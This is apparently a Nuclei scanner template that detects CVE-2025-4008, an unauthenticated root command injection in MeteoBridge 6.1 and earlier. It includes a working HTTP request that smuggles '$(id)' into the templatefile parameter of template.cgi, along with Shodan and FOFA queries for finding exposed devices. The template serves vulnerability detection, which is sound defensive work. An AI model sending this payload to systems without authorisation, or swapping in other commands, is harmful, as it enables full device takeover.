MeteoBridge <= 6.1 - Remote Code Execution

id: CVE-2025-4008

info:
  name: MeteoBridge <= 6.1 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands with root privileges through the templatefile parameter, achieving complete device compromise.
  remediation: |
    Upgrade MeteoBridge to version 6.2 or later that properly sanitizes input in template.cgi.
  reference:
    - https://forum.meteohub.de/viewtopic.php?t=18687
    - https://www.onekey.com/resource/security-advisory-remote-command-execution-on-smartbedded-meteobridge-cve-2025-4008
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4008
  classification:
    cve-id: CVE-2025-4008
    cvss-score: 7.5
    cwe-id: CWE-77
    epss-score: 0.94376
    epss-percentile: 0.99841
  metadata:
    verified: true
    shodan-query: "meteobridge"
    fofa-query: "Meteobridge"
  tags: cve,cve2025,meteobridge,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET /public/template.cgi?templatefile=$(id) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Error: template file'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200
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